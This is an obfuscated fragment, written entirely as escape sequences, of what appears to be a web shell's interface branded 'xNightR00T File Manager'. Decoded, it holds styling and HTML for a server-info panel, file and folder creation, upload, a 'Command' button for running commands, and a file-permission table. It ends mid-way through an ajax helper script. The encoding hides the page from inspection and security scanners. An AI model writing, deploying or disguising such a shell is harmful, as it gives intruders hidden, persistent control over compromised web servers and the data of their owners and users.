x7b\15\12\40\40\x20\40\40\x20\40\x20\40\x20\x20\x20\146\162\157\155\x20\x7b\x20\x6f\160\x61\x63\x69\164\171\x3a\x20\x30\x3b\40\x7d\xd\12\x20\x20\x20\x20\x20\40\40\x20\x20\x20\x20\40\164\157\40\173\x20\157\160\x61\143\x69\164\171\72\40\61\x3b\40\x7d\15\12\40\40\40\40\40\40\40\x20\x7d\xd\xa\xd\12\40\x20\40\40\x20\40\40\x20\x2e\x6d\157\144\141\x6c\x2d\143\x6f\x6e\164\145\156\x74\40\x7b\15\xa\x20\x20\40\x20\x20\x20\x20\40\x20\x20\x20\40\x62\141\x63\153\147\x72\x6f\x75\x6e\x64\x3a\x20\43\61\x34\61\64\x31\x65\73\xd\12\40\x20\40\x20\40\x20\40\40\x20\x20\x20\x20\142\157\x72\x64\x65\x72\x3a\x20\61\x70\170\x20\163\157\x6c\151\x64\x20\x23\63\x61\x33\x61\x36\60\x3b\15\12\x20\x20\x20\x20\40\x20\x20\40\40\x20\x20\40\142\x6f\162\x64\x65\x72\55\x72\x61\x64\x69\x75\163\x3a\40\x38\160\x78\73\xd\12\x20\40\40\40\x20\40\40\40\x20\x20\40\x20\160\x61\144\144\151\x6e\147\x3a\40\62\65\160\x78\x3b\xd\xa\40\40\40\40\x20\40\x20\40\40\40\x20\x20\155\141\170\x2d\167\x69\x64\164\150\x3a\x20\66\60\60\x70\170\73\15\12\40\40\x20\x20\x20\40\40\x20\40\x20\40\40\167\x69\x64\x74\150\x3a\40\61\x30\60\x25\x3b\15\xa\40\x20\40\x20\40\40\x20\40\40\40\40\x20\x6d\x61\x78\55\x68\x65\151\147\x68\x74\72\40\70\x30\166\x68\x3b\xd\xa\40\x20\x20\x20\x20\x20\40\40\40\x20\40\x20\157\166\145\162\146\x6c\x6f\167\x2d\171\x3a\x20\x61\x75\164\x6f\73\xd\xa\40\x20\x20\40\40\40\40\40\40\x20\40\x20\142\x6f\x78\x2d\x73\x68\141\144\x6f\167\72\x20\60\40\70\x70\170\x20\63\x32\x70\x78\40\x72\x67\x62\141\x28\x30\54\x20\60\54\x20\x30\x2c\x20\60\56\66\51\73\15\12\x20\40\x20\40\40\40\40\40\40\x20\x20\40\141\156\151\155\141\x74\x69\x6f\x6e\x3a\x20\163\x6c\151\144\x65\x55\x70\x20\x30\56\63\163\x20\145\141\x73\145\73\15\12\40\40\x20\x20\x20\40\x20\40\175\xd\xa\xd\xa\40\40\x20\40\40\x20\x20\40\100\153\x65\x79\x66\162\141\155\145\163\40\163\x6c\x69\144\x65\x55\160\x20\173\xd\12\40\40\40\x20\x20\40\40\40\40\40\40\x20\146\162\x6f\x6d\x20\173\40\x74\x72\141\x6e\163\146\157\x72\x6d\x3a\x20\x74\x72\141\156\163\x6c\141\x74\x65\131\50\63\60\x70\x78\x29\x3b\40\x6f\160\x61\143\x69\164\171\x3a\40\60\x3b\x20\x7d\15\12\x20\x20\40\40\40\x20\40\40\x20\x20\40\x20\x74\157\x20\173\x20\x74\x72\141\156\x73\146\x6f\x72\x6d\x3a\40\164\x72\141\x6e\163\x6c\x61\x74\145\x59\50\x30\51\73\x20\157\160\141\143\x69\164\x79\x3a\40\x31\73\x20\175\xd\12\40\x20\40\x20\40\40\x20\x20\175\15\xa\15\12\x20\40\x20\x20\40\x20\x20\40\56\155\157\144\x61\x6c\x20\150\62\x20\173\15\12\x20\x20\x20\40\40\x20\40\x20\40\x20\x20\40\143\x6f\x6c\157\162\x3a\x20\x23\71\60\x39\x30\x62\60\73\xd\xa\40\x20\x20\x20\40\x20\40\x20\40\x20\x20\40\155\x61\162\147\151\156\55\142\x6f\164\164\x6f\155\72\40\x32\60\160\170\73\15\12\x20\40\40\40\40\x20\x20\x20\40\40\40\x20\x66\x6f\x6e\x74\x2d\x73\151\x7a\x65\72\40\61\56\x33\x72\145\x6d\x3b\xd\xa\40\40\x20\x20\x20\40\40\x20\40\40\x20\x20\146\157\x6e\164\x2d\167\145\151\x67\150\x74\72\x20\65\x30\x30\x3b\xd\12\40\40\x20\40\x20\40\x20\x20\x7d\xd\12\15\xa\40\40\40\40\x20\40\x20\x20\x69\x6e\x70\165\x74\x5b\164\171\160\x65\75\42\164\145\170\x74\x22\135\54\40\x69\156\x70\165\164\133\164\171\x70\145\75\42\146\151\154\x65\x22\135\54\x20\164\145\170\164\x61\162\145\141\54\40\163\145\x6c\x65\143\x74\40\x7b\xd\12\x20\40\40\40\40\x20\x20\x20\x20\x20\40\40\167\151\x64\x74\x68\x3a\x20\61\60\x30\45\x3b\15\12\x20\40\x20\40\x20\40\x20\40\x20\x20\x20\40\160\141\x64\x64\151\x6e\147\x3a\40\61\x30\160\x78\73\15\12\x20\40\40\x20\x20\40\x20\x20\40\40\40\40\155\141\x72\147\151\156\72\40\70\x70\x78\40\x30\x3b\xd\xa\40\x20\40\40\40\40\x20\40\x20\x20\40\40\x62\141\x63\x6b\x67\x72\157\x75\x6e\144\x3a\40\162\x67\x62\x61\50\62\60\54\40\62\x30\54\x20\x33\x35\54\40\x30\56\70\51\x3b\xd\12\40\40\40\40\40\40\40\x20\40\40\40\x20\x62\x6f\162\x64\x65\x72\72\x20\x31\160\x78\x20\163\x6f\x6c\151\144\40\x23\63\141\x33\141\66\60\x3b\15\12\40\40\x20\x20\x20\40\40\40\40\x20\40\40\x62\x6f\x72\144\145\162\x2d\x72\x61\144\x69\165\163\x3a\x20\x36\160\170\73\15\xa\40\x20\x20\x20\x20\40\40\x20\40\x20\x20\40\x63\157\154\157\x72\x3a\40\x23\142\x38\142\70\x63\x38\x3b\xd\xa\40\x20\x20\x20\x20\40\40\40\40\x20\x20\x20\146\157\x6e\164\x2d\146\x61\x6d\151\x6c\171\x3a\x20\x69\156\x68\145\162\x69\x74\x3b\xd\12\40\40\x20\40\40\40\40\40\x20\40\x20\x20\x66\x6f\x6e\164\x2d\x73\x69\172\145\x3a\40\x30\x2e\71\x72\145\155\73\xd\12\40\40\40\x20\40\x20\40\40\x7d\xd\xa\15\12\40\x20\x20\40\40\40\x20\x20\164\145\170\x74\141\162\x65\x61\x20\173\xd\xa\x20\x20\40\40\40\x20\40\x20\x20\40\x20\40\x6d\x69\156\x2d\x68\145\151\x67\150\164\72\40\62\65\x30\160\170\x3b\xd\xa\x20\40\x20\40\40\x20\40\x20\x20\x20\x20\x20\x66\157\x6e\164\x2d\146\141\x6d\x69\x6c\x79\x3a\40\x27\103\157\156\x73\157\154\x61\x73\47\x2c\x20\47\x4d\x6f\156\x61\x63\x6f\x27\x2c\40\x6d\x6f\156\157\163\160\141\143\x65\73\15\12\x20\40\40\x20\40\x20\40\x20\x20\40\40\40\162\x65\163\151\172\x65\x3a\40\166\145\x72\x74\151\x63\141\154\x3b\15\xa\x20\40\x20\40\x20\x20\40\x20\x7d\15\xa\xd\xa\x20\40\40\x20\40\x20\40\x20\x2e\x70\x6f\160\x75\160\x20\x7b\15\12\x20\x20\x20\x20\40\40\x20\40\40\x20\x20\x20\160\157\x73\151\164\x69\157\156\72\40\146\151\170\145\144\73\15\xa\40\x20\x20\40\40\40\x20\40\x20\40\x20\40\164\157\160\72\x20\x32\60\x70\170\x3b\xd\xa\x20\x20\40\40\x20\40\x20\x20\40\40\x20\40\x72\151\x67\x68\164\x3a\40\62\60\160\170\x3b\15\xa\40\x20\40\40\40\x20\40\x20\x20\40\40\40\x70\x61\x64\x64\x69\156\x67\x3a\40\x31\x35\160\x78\40\x32\65\x70\x78\73\15\12\x20\x20\40\40\x20\40\40\x20\40\x20\x20\x20\142\157\162\x64\x65\162\x2d\x72\x61\x64\x69\165\163\x3a\x20\x36\160\170\x3b\15\12\40\40\40\x20\40\40\40\x20\x20\40\x20\40\172\55\151\156\144\145\170\x3a\40\62\60\x30\x30\73\xd\12\x20\40\40\40\x20\40\40\x20\40\x20\x20\40\x61\156\x69\155\x61\164\151\157\156\x3a\40\x73\x6c\151\144\x65\x49\156\122\151\x67\150\x74\40\x30\x2e\x33\163\x20\x65\141\163\x65\x3b\xd\xa\x20\x20\x20\x20\x20\x20\x20\40\x20\x20\40\x20\x62\157\x78\x2d\x73\150\141\144\157\x77\x3a\40\60\40\x36\x70\x78\x20\62\x34\160\x78\40\x72\x67\142\141\x28\60\x2c\40\x30\x2c\x20\x30\x2c\40\x30\x2e\65\x29\73\xd\12\40\40\x20\40\x20\x20\40\x20\x20\40\x20\x20\x6d\x61\x78\x2d\x77\151\144\x74\150\72\40\64\x30\60\x70\170\73\15\xa\x20\x20\x20\40\40\x20\40\x20\40\x20\x20\40\x62\157\162\x64\145\x72\72\40\61\160\170\40\163\157\154\151\x64\73\15\xa\x20\40\40\40\40\x20\40\x20\175\15\12\15\12\x20\x20\x20\40\x20\40\x20\x20\x2e\x70\157\160\x75\x70\56\x73\x75\x63\143\x65\x73\163\40\x7b\15\12\x20\x20\40\x20\40\x20\x20\40\x20\x20\40\x20\142\x61\143\153\x67\x72\157\165\x6e\144\72\x20\162\x67\142\x61\50\63\x30\54\40\x36\60\x2c\x20\64\65\x2c\40\x30\x2e\71\65\51\73\15\xa\x20\x20\x20\40\40\40\40\40\40\x20\x20\x20\142\157\162\x64\145\x72\55\143\157\x6c\157\x72\x3a\40\x23\x35\60\x63\x38\x37\70\73\15\xa\x20\x20\40\x20\40\x20\x20\40\40\40\40\x20\143\157\x6c\157\162\x3a\40\43\x63\x30\x66\x66\x64\60\73\xd\12\x20\x20\x20\40\x20\40\40\x20\175\15\12\xd\12\40\x20\x20\40\40\x20\x20\40\x2e\x70\x6f\x70\x75\x70\x2e\145\162\x72\157\x72\x20\173\15\xa\x20\x20\x20\40\40\40\40\40\40\x20\x20\40\142\141\143\x6b\x67\162\157\165\x6e\x64\72\x20\x72\x67\142\141\x28\66\x30\x2c\x20\x33\60\54\40\x33\60\54\x20\60\56\71\x35\51\73\15\12\x20\40\x20\40\40\40\40\40\40\x20\x20\40\142\157\162\144\x65\162\55\143\x6f\x6c\x6f\162\72\40\x23\146\x66\66\x62\x36\x62\73\xd\12\40\40\x20\x20\40\40\40\40\40\x20\40\40\x63\157\x6c\x6f\162\x3a\x20\43\x66\x66\143\x30\143\x30\73\15\12\x20\40\x20\40\40\x20\40\40\x7d\15\12\xd\xa\40\40\40\x20\40\40\40\x20\100\x6b\x65\171\x66\162\x61\155\145\163\x20\x73\154\x69\144\145\x49\x6e\x52\x69\x67\150\164\40\x7b\15\12\40\x20\40\x20\x20\x20\40\x20\40\40\x20\40\x66\x72\x6f\155\40\x7b\40\x74\162\x61\x6e\x73\x66\x6f\x72\155\72\40\x74\x72\141\x6e\x73\x6c\x61\x74\x65\x58\x28\64\60\x30\160\170\x29\x3b\x20\x6f\x70\x61\x63\x69\x74\171\x3a\40\60\x3b\x20\175\15\xa\40\40\40\x20\40\40\x20\40\40\x20\40\40\164\x6f\x20\173\x20\164\162\141\156\163\146\157\x72\155\72\x20\164\162\141\x6e\x73\154\x61\164\145\x58\50\60\51\73\x20\x6f\160\141\x63\151\164\171\x3a\x20\x31\73\x20\175\15\xa\x20\x20\x20\40\40\x20\x20\x20\x7d\xd\xa\xd\12\40\x20\x20\x20\x20\40\40\40\x2e\x63\x6c\157\163\x65\55\x62\164\x6e\40\173\xd\xa\x20\x20\40\40\40\x20\x20\x20\x20\40\x20\40\146\x6c\157\x61\x74\72\40\162\x69\147\150\164\73\15\xa\40\x20\40\40\x20\x20\x20\x20\40\40\x20\40\146\x6f\x6e\164\55\163\151\x7a\145\x3a\x20\62\x32\x70\170\x3b\15\xa\x20\x20\40\40\40\x20\40\40\40\x20\x20\x20\x63\x75\162\x73\x6f\x72\72\40\160\x6f\151\156\x74\x65\x72\73\15\xa\40\40\x20\x20\40\40\x20\40\40\40\40\40\143\x6f\154\157\162\72\40\43\71\60\x39\60\142\60\73\15\xa\40\x20\x20\x20\x20\40\x20\40\x20\40\x20\40\x6c\151\156\145\55\150\145\x69\x67\150\x74\72\40\61\x3b\15\xa\x20\40\x20\40\40\x20\40\x20\x7d\xd\12\15\xa\x20\x20\40\x20\40\x20\x20\x20\56\x63\154\157\163\145\55\x62\164\156\72\150\157\x76\145\162\40\173\xd\12\x20\x20\40\x20\40\x20\40\40\x20\x20\x20\40\x63\x6f\154\x6f\162\x3a\40\43\142\70\142\x38\143\x38\73\xd\12\x20\x20\40\40\x20\40\x20\40\175\xd\xa\15\12\x20\x20\40\x20\x20\40\x20\x20\56\141\x63\x74\151\x6f\x6e\55\142\x74\x6e\163\x20\x7b\15\xa\40\40\x20\x20\x20\40\x20\40\40\x20\x20\x20\144\151\x73\x70\154\x61\171\72\x20\x66\154\x65\x78\x3b\15\12\40\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\40\147\141\160\x3a\40\x35\160\170\x3b\xd\12\x20\40\40\x20\x20\40\40\40\x20\40\40\x20\x66\154\x65\170\55\167\162\141\160\72\40\x77\162\x61\160\73\15\xa\40\x20\40\40\40\x20\40\x20\175\15\xa\15\xa\40\40\x20\x20\40\40\40\x20\56\x61\143\x74\x69\157\x6e\55\x62\x74\156\x73\x20\56\x62\164\x6e\40\x7b\15\12\40\40\40\x20\40\40\x20\x20\x20\x20\x20\40\x70\x61\x64\x64\151\156\x67\72\x20\65\x70\170\x20\x31\x30\160\170\x3b\15\xa\x20\40\x20\x20\40\40\40\x20\x20\40\x20\40\146\x6f\x6e\x74\x2d\x73\151\x7a\x65\x3a\x20\x30\56\67\65\x72\x65\155\73\15\xa\40\x20\x20\x20\x20\x20\40\x20\175\15\12\15\12\40\40\x20\40\x20\40\40\x20\56\x63\x6f\x6e\146\151\162\155\55\155\157\x64\x61\x6c\40\173\15\12\40\40\x20\x20\x20\40\x20\40\40\x20\40\40\x74\145\170\164\x2d\141\x6c\151\147\156\x3a\40\x63\145\156\x74\x65\x72\x3b\xd\xa\x20\40\40\x20\x20\40\40\x20\175\xd\12\xd\12\x20\40\40\x20\x20\40\40\40\56\143\157\x6e\x66\151\x72\155\x2d\155\157\x64\x61\154\40\160\x20\x7b\15\xa\40\40\x20\40\40\40\x20\40\40\40\40\40\x6d\x61\162\147\151\156\72\40\62\x30\x70\170\x20\60\73\xd\12\40\40\40\x20\40\x20\x20\40\x20\x20\x20\x20\143\x6f\154\157\x72\72\x20\43\x62\70\x62\x38\143\70\x3b\15\xa\x20\40\40\40\x20\x20\x20\x20\175\xd\xa\15\12\40\40\x20\x20\x20\40\40\x20\x2e\143\x6f\x6e\146\151\162\155\55\155\x6f\144\141\154\40\x2e\142\x74\156\55\147\162\x6f\x75\x70\40\173\15\12\x20\x20\40\40\40\40\40\40\x20\x20\40\40\144\151\163\x70\154\x61\x79\72\40\x66\x6c\x65\x78\73\15\12\40\x20\x20\x20\x20\40\x20\40\x20\40\x20\x20\x67\x61\x70\x3a\40\x31\60\160\170\73\xd\xa\x20\x20\x20\x20\40\40\40\x20\40\x20\x20\x20\152\165\x73\164\x69\x66\x79\x2d\x63\157\156\x74\x65\x6e\164\x3a\40\143\145\x6e\164\x65\x72\73\xd\12\40\x20\40\x20\x20\40\x20\x20\175\15\12\15\xa\40\40\x20\40\40\40\x20\40\x2e\x62\164\x6e\55\144\141\156\x67\145\x72\40\173\xd\12\x20\x20\40\x20\x20\40\40\x20\x20\40\x20\x20\142\141\x63\153\x67\x72\x6f\165\156\144\72\40\162\147\x62\141\x28\x31\x30\x30\54\40\64\x30\54\40\64\x30\x2c\40\60\56\x36\x29\x3b\xd\12\x20\x20\x20\x20\40\40\x20\40\x20\x20\x20\40\142\x6f\162\144\145\162\55\143\157\x6c\x6f\162\72\40\x23\x66\146\66\x62\66\142\x3b\15\12\x20\x20\x20\40\40\40\x20\40\x7d\15\12\15\12\x20\x20\x20\40\40\x20\x20\x20\56\x62\x74\156\55\x64\141\156\147\x65\162\72\150\x6f\x76\145\x72\40\173\xd\xa\x20\40\40\40\x20\x20\x20\40\x20\x20\40\x20\142\141\x63\153\x67\x72\x6f\x75\156\144\x3a\40\x72\147\142\x61\50\61\x32\x30\x2c\40\65\x30\54\40\65\x30\x2c\40\x30\x2e\70\51\73\15\12\40\x20\x20\x20\x20\40\40\x20\175\xd\12\15\xa\40\x20\x20\40\40\x20\x20\40\56\x63\157\160\171\162\x69\147\150\x74\40\x7b\xd\xa\40\x20\40\x20\40\40\40\x20\x20\x20\40\40\x70\157\163\151\x74\x69\157\156\x3a\x20\x66\x69\x78\145\x64\x3b\xd\12\40\x20\x20\40\40\x20\40\40\x20\x20\40\x20\142\157\x74\x74\157\x6d\72\40\61\65\x70\170\73\15\xa\x20\x20\40\40\40\40\x20\40\40\40\x20\40\x6c\x65\146\x74\72\40\x35\x30\x25\73\15\12\40\40\40\40\40\x20\40\x20\40\40\40\40\164\162\141\156\163\x66\x6f\162\155\72\40\164\162\x61\156\x73\x6c\141\164\145\130\50\x2d\x35\x30\x25\51\73\15\12\40\x20\x20\x20\x20\40\x20\x20\40\40\40\40\x63\x6f\x6c\x6f\162\72\40\x72\147\x62\x61\x28\61\64\x34\54\x20\x31\64\x34\x2c\40\x31\x37\x36\x2c\40\60\56\64\x29\73\xd\12\40\x20\40\x20\40\40\x20\40\40\x20\40\x20\x66\157\x6e\x74\55\x73\151\172\x65\x3a\x20\60\56\x38\162\145\x6d\x3b\xd\xa\40\x20\x20\40\40\x20\x20\x20\40\40\40\40\172\x2d\151\x6e\144\x65\x78\x3a\x20\x31\60\x30\x3b\xd\12\40\x20\40\40\x20\x20\40\40\175\xd\xa\15\12\40\40\x20\40\40\40\40\x20\x40\x6d\x65\144\151\141\x20\50\x6d\x61\170\x2d\167\x69\144\164\x68\x3a\x20\x37\66\70\160\170\51\40\173\15\12\40\x20\40\x20\40\40\40\40\40\x20\x20\40\56\x6e\141\x76\55\x73\145\x63\164\151\x6f\156\40\x7b\15\12\x20\40\x20\40\x20\40\40\40\40\x20\x20\x20\x20\x20\40\40\x66\x6c\145\x78\x2d\144\x69\162\145\x63\x74\x69\x6f\x6e\x3a\40\143\x6f\x6c\165\x6d\156\73\15\12\x20\40\40\x20\40\x20\x20\x20\x20\x20\40\40\x7d\xd\xa\40\x20\x20\40\40\40\40\x20\x20\40\x20\40\xd\xa\x20\40\40\40\40\40\x20\40\40\40\40\40\x2e\x62\x72\x65\141\144\x63\162\165\x6d\x62\x20\173\xd\12\40\x20\x20\40\40\40\40\40\x20\40\40\x20\40\x20\x20\x20\x77\x69\x64\x74\x68\x3a\40\61\60\60\x25\x3b\15\12\x20\x20\40\40\x20\40\40\x20\x20\x20\40\x20\175\xd\xa\40\x20\40\40\x20\40\40\40\x20\x20\x20\x20\xd\xa\40\x20\40\40\x20\x20\x20\40\40\40\40\x20\x74\x61\142\x6c\x65\40\x7b\xd\12\x20\40\x20\x20\x20\40\40\x20\40\40\40\40\x20\x20\x20\40\146\157\x6e\164\x2d\x73\x69\172\x65\x3a\x20\60\56\67\65\162\x65\155\73\xd\xa\x20\x20\40\x20\x20\40\40\x20\x20\40\x20\40\175\xd\xa\40\x20\x20\x20\x20\x20\40\x20\x20\x20\x20\x20\xd\12\x20\40\40\x20\x20\40\40\40\x20\x20\40\x20\x74\150\54\40\x74\x64\x20\173\15\12\x20\x20\x20\40\x20\x20\x20\40\40\x20\40\40\40\40\40\x20\160\x61\x64\144\x69\x6e\x67\72\x20\66\160\170\x20\64\160\x78\x3b\xd\xa\40\40\40\40\40\x20\40\x20\40\40\x20\x20\x7d\15\xa\xd\12\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x2e\x61\x63\x74\x69\x6f\x6e\x2d\142\164\x6e\163\40\x2e\x62\164\156\x20\x7b\15\12\x20\x20\40\x20\40\40\40\x20\x20\40\x20\x20\x20\x20\40\40\x70\141\x64\144\x69\x6e\147\72\x20\64\x70\170\40\x38\x70\170\x3b\xd\12\x20\40\x20\40\x20\40\40\40\x20\x20\x20\x20\x20\x20\x20\x20\x66\157\x6e\x74\x2d\163\151\x7a\145\72\40\60\56\67\162\x65\155\73\xd\xa\x20\x20\x20\x20\40\x20\x20\40\x20\x20\x20\x20\175\15\xa\x20\x20\40\x20\40\40\40\x20\175\15\xa\x20\40\40\x20\74\x2f\163\x74\x79\x6c\x65\x3e\xd\12\x3c\x2f\x68\x65\x61\144\x3e\xd\12\74\x62\157\x64\x79\76\15\12\x20\40\40\x20\74\144\x69\x76\x20\143\x6c\x61\163\x73\x3d\42\x63\157\x6e\x74\141\x69\x6e\x65\162\x22\76\15\xa\x20\x20\x20\x20\40\x20\40\40\74\x64\x69\x76\x20\143\x6c\x61\x73\x73\75\42\x68\x65\x61\x64\x65\x72\42\76\15\xa\40\40\x20\x20\x20\x20\40\40\40\x20\x20\x20\74\150\x31\76\170\x4e\151\x67\x68\x74\x52\60\x30\x54\x20\106\x69\154\145\40\x4d\x61\156\x61\x67\x65\162\x3c\57\x68\61\x3e\xd\xa\40\x20\40\x20\x20\x20\x20\x20\x20\x20\x20\x20\x3c\144\151\166\40\143\154\141\x73\163\75\42\163\x65\162\x76\145\x72\55\x69\156\x66\x6f\x2d\x67\162\151\x64\x22\40\151\144\75\x22\x73\x65\162\x76\x65\x72\x49\156\146\157\x47\x72\151\144\x22\76\15\12\40\40\x20\40\x20\40\40\40\x20\x20\40\x20\x20\40\x20\x20\x3c\144\x69\166\x20\143\154\141\163\x73\x3d\42\151\156\146\157\x2d\x69\164\145\155\42\x3e\x3c\163\164\x72\157\x6e\147\76\114\x6f\x61\144\x69\156\147\56\x2e\56\x3c\57\163\x74\162\x6f\x6e\147\x3e\x3c\x2f\144\x69\166\x3e\15\xa\40\x20\40\x20\40\x20\40\40\x20\x20\x20\40\74\57\x64\151\166\76\15\12\x20\x20\x20\40\40\40\x20\40\x3c\57\144\x69\x76\76\15\12\xd\xa\x20\x20\x20\40\x20\40\x20\x20\x3c\x64\151\x76\x20\x63\154\x61\x73\163\75\x22\x6e\x61\166\55\x73\x65\x63\x74\x69\157\156\42\x3e\xd\xa\40\40\40\40\x20\x20\40\x20\x20\40\40\40\x3c\142\x75\164\x74\157\156\40\x63\154\x61\x73\x73\75\x22\142\x74\156\42\40\x6f\x6e\x63\x6c\x69\143\x6b\75\42\147\157\x48\x6f\x6d\145\x28\x29\42\76\x48\x6f\x6d\145\74\57\142\x75\x74\164\157\x6e\76\xd\12\x20\x20\40\x20\x20\40\x20\x20\40\40\40\x20\x3c\144\x69\x76\40\143\154\141\x73\163\x3d\x22\x62\x72\145\141\x64\x63\162\165\155\142\42\x20\x69\x64\75\42\x62\x72\x65\x61\144\143\x72\165\x6d\x62\42\76\x2f\74\x2f\x64\151\166\76\15\12\40\40\x20\40\40\x20\40\40\x3c\x2f\144\151\166\x3e\15\12\15\12\x20\40\40\40\40\x20\40\40\x3c\x64\151\166\x20\143\154\141\x73\x73\x3d\42\141\x63\x74\151\x6f\156\55\x62\x75\x74\x74\157\x6e\163\42\76\xd\xa\x20\40\40\x20\x20\x20\x20\40\x20\x20\40\x20\74\142\x75\164\x74\157\156\40\x63\154\141\163\x73\x3d\42\142\164\156\x22\40\157\156\x63\x6c\151\143\x6b\x3d\x22\163\150\x6f\x77\103\162\145\x61\x74\145\106\151\x6c\x65\x28\x29\x22\76\103\162\145\x61\164\145\x20\x46\x69\x6c\x65\74\x2f\x62\x75\164\x74\x6f\x6e\x3e\15\xa\x20\x20\40\40\40\40\40\x20\40\x20\x20\x20\x3c\x62\165\x74\x74\157\x6e\x20\x63\x6c\x61\x73\x73\75\x22\142\164\x6e\x22\x20\157\x6e\x63\x6c\x69\143\x6b\x3d\x22\x73\x68\x6f\x77\x43\x72\x65\x61\x74\145\x46\x6f\154\x64\145\162\x28\x29\42\x3e\x43\162\145\141\164\x65\40\106\x6f\154\x64\145\162\x3c\x2f\142\165\164\x74\x6f\156\x3e\15\12\40\x20\40\x20\40\40\40\40\x20\40\x20\40\74\x62\x75\164\x74\x6f\156\40\143\154\x61\x73\163\x3d\42\142\164\156\x22\x20\x6f\156\143\x6c\151\143\153\75\42\x73\150\x6f\167\x55\160\154\157\141\x64\x28\51\42\x3e\125\x70\154\x6f\141\x64\x3c\x2f\x62\165\164\x74\x6f\x6e\x3e\15\12\x20\40\40\40\40\x20\x20\x20\x20\x20\x20\40\x3c\x62\165\x74\x74\x6f\156\x20\143\154\141\x73\x73\75\x22\x62\164\x6e\42\40\157\x6e\143\x6c\151\143\153\75\42\x73\150\x6f\x77\103\x6f\x6d\x6d\141\156\x64\50\x29\x22\76\103\x6f\x6d\155\x61\x6e\x64\74\x2f\x62\165\164\164\157\x6e\x3e\15\12\40\40\x20\x20\40\40\x20\x20\74\57\144\151\x76\x3e\15\12\15\xa\40\40\x20\40\x20\40\x20\40\74\x64\x69\166\x20\x63\154\141\163\163\75\42\x66\x69\x6c\x65\55\x74\141\x62\154\x65\x2d\x63\157\x6e\x74\x61\151\x6e\145\162\42\76\15\12\x20\x20\x20\x20\40\x20\x20\40\40\x20\x20\40\74\x74\x61\142\154\x65\x20\151\144\75\42\146\151\154\x65\124\x61\142\x6c\145\42\x3e\xd\12\40\40\40\x20\x20\40\40\x20\x20\x20\x20\40\40\x20\40\40\74\x74\150\145\141\144\x3e\15\12\x20\x20\40\x20\x20\x20\40\x20\40\x20\x20\40\40\x20\40\40\x20\x20\40\x20\x3c\x74\162\x3e\15\xa\x20\x20\x20\40\x20\x20\40\40\40\40\x20\x20\x20\40\40\x20\40\40\x20\40\x20\40\x20\40\x3c\x74\x68\x3e\x4e\x61\155\145\x3c\x2f\x74\x68\76\xd\xa\x20\40\40\x20\x20\40\40\x20\x20\x20\40\40\x20\40\x20\x20\x20\40\x20\40\40\x20\x20\40\74\x74\x68\x3e\123\x69\172\x65\74\57\x74\150\x3e\xd\xa\40\x20\40\40\x20\40\40\40\40\x20\x20\x20\x20\40\x20\x20\x20\x20\x20\40\x20\x20\40\40\74\x74\150\76\120\x65\162\155\151\x73\x73\151\157\x6e\74\57\x74\150\x3e\15\12\40\x20\40\40\40\x20\40\x20\40\40\x20\40\40\x20\x20\x20\40\40\x20\x20\x20\40\40\40\x3c\164\x68\x3e\x4d\x6f\x64\151\x66\x69\145\144\74\x2f\164\x68\x3e\xd\12\x20\40\x20\40\40\40\40\x20\x20\x20\x20\x20\x20\40\40\x20\40\x20\40\40\x20\40\x20\40\x3c\164\x68\x3e\x41\143\164\151\157\156\163\74\57\x74\x68\x3e\xd\xa\40\40\40\x20\x20\x20\x20\x20\x20\40\x20\x20\40\x20\x20\40\40\x20\40\x20\74\x2f\x74\x72\76\xd\12\x20\x20\40\40\40\x20\40\40\40\x20\40\40\x20\x20\x20\40\74\57\x74\x68\145\141\x64\76\15\12\x20\x20\x20\x20\x20\x20\x20\x20\x20\40\x20\x20\40\x20\40\x20\x3c\x74\142\157\x64\x79\40\151\144\x3d\x22\x66\x69\154\145\x4c\151\x73\164\x22\76\15\xa\40\40\x20\40\x20\40\40\40\x20\x20\40\x20\x20\x20\x20\40\40\40\40\x20\x3c\x74\162\76\x3c\164\144\40\x63\157\x6c\x73\160\x61\x6e\75\x22\65\42\40\x73\164\x79\x6c\x65\x3d\42\x74\145\170\x74\x2d\x61\x6c\151\147\156\x3a\143\145\x6e\x74\145\162\73\42\76\114\157\x61\144\151\156\147\x2e\56\56\x3c\57\x74\144\76\x3c\x2f\164\x72\76\15\12\x20\40\40\40\x20\x20\x20\x20\x20\x20\x20\x20\x20\40\x20\40\74\57\x74\142\157\144\x79\76\15\xa\x20\x20\40\40\40\x20\40\40\x20\x20\x20\40\74\x2f\x74\x61\x62\154\x65\76\xd\12\40\40\x20\x20\x20\x20\x20\x20\74\57\144\x69\x76\x3e\xd\12\40\40\40\x20\x3c\57\144\151\166\76\15\12\xd\xa\x20\40\x20\x20\74\144\151\166\x20\x63\x6c\141\x73\163\x3d\x22\x63\x6f\x70\x79\x72\x69\147\x68\164\x22\x3e\302\xa9\x20\x78\116\x69\x67\x68\164\x52\60\60\x54\74\x2f\144\151\166\76\xd\12\xd\xa\40\x20\x20\40\x3c\144\x69\x76\40\x69\x64\75\x22\x6d\x6f\144\x61\154\x22\x20\143\x6c\x61\163\163\75\42\x6d\x6f\x64\141\154\42\76\xd\12\40\x20\40\x20\x20\40\x20\40\x3c\144\151\x76\40\143\154\x61\163\163\75\42\155\x6f\144\x61\x6c\55\x63\x6f\156\164\x65\x6e\x74\x22\76\xd\12\x20\40\x20\x20\40\40\x20\x20\40\x20\40\40\x3c\x73\160\x61\x6e\40\143\154\141\163\x73\75\x22\143\x6c\x6f\x73\x65\x2d\x62\x74\156\42\x20\157\x6e\143\x6c\x69\x63\153\75\x22\143\154\x6f\163\145\x4d\x6f\144\x61\154\50\51\x22\x3e\x26\164\151\155\x65\x73\x3b\x3c\57\x73\x70\x61\x6e\x3e\xd\12\x20\x20\x20\x20\40\40\x20\40\40\x20\40\40\74\x64\x69\166\40\x69\144\x3d\x22\x6d\157\x64\x61\154\x42\157\x64\171\x22\x3e\x3c\57\x64\151\166\76\15\xa\x20\40\40\x20\x20\x20\40\x20\x3c\57\144\151\x76\76\xd\xa\40\40\x20\x20\x3c\x2f\x64\151\166\x3e\15\xa\xd\xa\40\x20\x20\x20\x3c\x73\143\x72\x69\x70\164\x3e\15\12\x20\40\x20\40\40\40\40\x20\x6c\145\x74\x20\143\x75\x72\162\145\156\x74\120\x61\x74\150\x20\75\40\47\47\x3b\xd\12\xd\xa\x20\x20\x20\x20\x20\40\x20\40\146\165\156\x63\x74\x69\x6f\156\x20\x61\x6a\x61\x78\50\141\143\164\151\x6f\156\54\x20\144\141\x74\x61\54\x20\x63\x61\x6c\154\x62\x61\143\x6b\x29\40\173\15\xa\x20\40\x20\x20\x20\40\x20\x20\40\x20\x20\40\x63\157\x6e\163\x74\x20\146\157\162\155\x44\141\x74\